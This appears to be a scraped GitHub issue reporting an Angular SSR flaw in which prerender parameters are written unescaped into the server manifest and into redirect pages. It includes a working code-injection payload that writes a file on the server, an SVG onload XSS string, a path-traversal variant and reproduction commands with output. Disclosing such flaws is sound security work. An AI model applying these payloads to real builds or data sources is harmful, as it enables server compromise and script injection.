Title: Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages · Issue #34474 · angular/angular-cli · GitHub
Open Graph Title: Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages · Issue #34474 · angular/angular-cli
X Title: Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages · Issue #34474 · angular/angular-cli
Description: Command build Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description ng build writes the values returned by getPrerenderParams() in...
Open Graph Description: Command build Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description ng build writes the va...
X Description: Command build Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description ng build writes the va...
Opengraph URL: https://github.com/angular/angular-cli/issues/34474
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages","articleBody":"### Command\n\nbuild\n\n### Is this a regression?\n\n- [ ] Yes, this behavior used to work in the previous version\n\n### The previous version in which this bug was not present was\n\n_No response_\n\n### Description\n\n\n`ng build` writes the values returned by `getPrerenderParams()` into two generated files without escaping them:\n\n- the server manifest (`angular-app-manifest.mjs`), executable ESM that the SSR server imports;\n- the static redirect pages generated when prerendering.\n\nThose values are documented as application data, usually read from a service:\n\n```ts\nconst ids = await dataService.getIds();\nreturn ids.map((id) => ({ id }));\n```\n\nSo whoever controls that data, such as a CMS entry or a shared or compromised API, controls code and HTML that the build ships. One value is enough:\n\n| Value returned by `getPrerenderParams()` | Result |\n| ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------ |\n| ``x'(){},[(function(){…})()](){},[`](){('`` | Runs arbitrary code in the SSR server when the manifest is imported, on the first request of any kind. |\n| `x\">\u003csvg onload=alert(1)>` with `outputMode: 'static'` | Injects markup into the generated redirect page: three `\u003csvg onload>` elements per page. |\n\n**Server manifest.** `manifest.ts` interpolates the asset path, which is derived from the route, into the generated module twice: as the object key and inside the `import()` specifier.\n\n```ts\nserverAssets[file.path] =\n `{size: ${size}, hash: '${file.hash}', text: () => import('./${jsChunkFilePath}').then(m => m.default)}`;\n// ...\n .map(([key, value]) => `'${key}': ${value}`)\n```\n\nA lone `'` breaks the module. A value that parses in both positions does more. It closes the key, runs as a computed method name, then opens a template literal that swallows the second, mangled copy:\n\n```js\n'product/x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('/index.html': {size: 975, hash: '5b338b119c4ac504', text: () => import('./assets-chunks/product_x'(){},[(function(){import('fs')_then(function(f){f_writeFileSync('PWNED_txt','rce')})})()](){},[`](){('_index_html.mjs').then(m => m.default)},\n```\n\n`node --check` passes, the build succeeds and the server boots. The code runs when Node first imports the manifest, which is the first request handled, whatever its status. A 404 runs it too. A few lines above, the same data reaches `routes:` through `JSON.stringify()`, where it is inert.\n\n**Redirect pages.** `utils.ts` builds the page without escaping:\n\n```ts\n \u003cmeta http-equiv=\"refresh\" content=\"0; url=${url}\">\n \u003cpre>Redirecting to \u003ca href=\"${url}\">${url}\u003c/a>\u003c/pre>\n```\n\nFor a relative `redirectTo` under a parameterized parent, `ng-routes.ts` substitutes the value into`url`, so the markup reaches all three positions. In a template, `{{ slug }}` escapes the very same value correctly.\n\n### Minimal Reproduction\n\n\nRepository: https://github.com/SkyZeroZx/angular-cli-prerender-param-injection-poc. \n\nThere the values arrive over HTTP from the application's own API.\n\n**1. Code execution through the manifest** (`outputMode: 'server'`)\n\n```ts\n// app.routes.ts\nexport const routes: Routes = [{ path: 'product/:slug', component: App }];\n\n// app.routes.server.ts\nexport const serverRoutes: ServerRoute[] = [\n {\n path: 'product/:slug',\n renderMode: RenderMode.Prerender,\n getPrerenderParams: async () => [\n {\n slug: \"x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('\",\n },\n ],\n },\n { path: '**', renderMode: RenderMode.Prerender },\n];\n```\n\n```bash\nng build\nnode --check dist/repro-app/server/angular-app-manifest.mjs\nnode dist/repro-app/server/server.mjs &\ncurl -s -o /dev/null -w '%{http_code}\\n' http://localhost:4000/\nls PWNED.txt\n```\n\n```text\nPrerendered 1 static route.\nApplication bundle generation complete.\n\n404\nPWNED.txt\n```\n\nWith `slug: \"customer's-choice\"` instead, the build is still green and every request returns 500.\n\n**2. HTML injection in the redirect page** (`outputMode: 'static'`)\n\n```ts\n// app.routes.ts\nexport const routes: Routes = [\n {\n path: 'go/:slug',\n children: [\n { path: 'r', redirectTo: 'target' },\n { path: 'target', component: App },\n ],\n },\n];\n\n// app.routes.server.ts\nexport const serverRoutes: ServerRoute[] = [\n {\n path: 'go/:slug',\n renderMode: RenderMode.Prerender,\n getPrerenderParams: async () => [{ slug: 'x\">\u003csvg onload=alert(1)>' }],\n },\n { path: '**', renderMode: RenderMode.Prerender },\n];\n```\n\n`dist/repro-app/browser/go/x\">\u003csvg onload=alert(1)>/r/index.html`:\n\n```html\n\u003cmeta http-equiv=\"refresh\" content=\"0; url=/go/x\">\u003csvg onload=alert(1)>/target\">\n...\n\u003cpre>Redirecting to \u003ca href=\"/go/x\">\u003csvg onload=alert(1)>/target\">/go/x\">\u003csvg onload=alert(1)>/target\u003c/a>\u003c/pre>\n```\n\nOn Windows, `\"`, `\u003c` and `>` are not valid in a file name. With a parent that only redirects, such as `{ path: 'go/:slug', children: [{ path: '', redirectTo: 'claimed', pathMatch: 'full' }] }`, appending `/../../safe` to the value keeps the markup out of the file name but in the page. `posix.join()` collapses the dot segments for the output path, while `joinUrlParts()` keeps them in the target, so the page lands at `go/safe/index.html` and is served at `/go/safe/`.\n\n\n### Your Environment\n\n```text\nAngular CLI 22.2.3\n@angular/build 22.2.3\n@angular/ssr 22.2.3\nNode.js 24.16.0\nnpm 11.13.0\nWindows 11 x64\nWSL Ubuntu\n```\n\n### Anything else relevant?\n\n_No response_","author":{"url":"https://github.com/SkyZeroZx","@type":"Person","name":"SkyZeroZx"},"datePublished":"2026-10-22T05:32:32Z","url":"https://github.com/angular/angular-cli/issues/34474"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:d2fec2ab-3671-ecbd-7faf-158c51fb0d62 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | 8E46:2E3A9:69DB73:9547D6:6AFDC123 |
| html-safe-nonce | 2f8fffef775bd6f40c5cbad39ff0fc41749fbc7985266046cb86720a82eee077 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4RTQ2OjJFM0E5OjY5REI3Mzo5NTQ3RDY6NkFGREMxMjMiLCJ2aXNpdG9yX2lkIjoiNzYwNDMyMjY4MTIxMDM4ODc3MSIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9 |
| visitor-hmac | 5744c56107acfb2cc4800e89a3074e9576e6b591e76f771757756b633b92bd53 |
| hovercard-subject-tag | issue:5973686390 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/angular/angular-cli/34474/issue_layout |
| twitter:image | https://opengraph.githubassets.com/7002b8c6ffa3074c3b61ce72a8dd89baaded8ddd97e7103cfd8b9579cfe73343/angular/angular-cli/issues/34474 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/7002b8c6ffa3074c3b61ce72a8dd89baaded8ddd97e7103cfd8b9579cfe73343/angular/angular-cli/issues/34474 |
| og:image:alt | Command build Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description ng build writes the va... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | SkyZeroZx |
| hostname | github.com |
| expected-hostname | github.com |
| None | 35c6bf57da1370dc64866160540c0ee9f825f291935b3bf6ec5492b00e35f3a6 |
| turbo-cache-control | no-preview |
| go-import | github.com/angular/angular-cli git https://github.com/angular/angular-cli.git |
| octolytics-dimension-user_id | 139426 |
| octolytics-dimension-user_login | angular |
| octolytics-dimension-repository_id | 36891867 |
| octolytics-dimension-repository_nwo | angular/angular-cli |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 36891867 |
| octolytics-dimension-repository_network_root_nwo | angular/angular-cli |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | ab48c73a2978548773f5f24717ed9e58508befdb |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width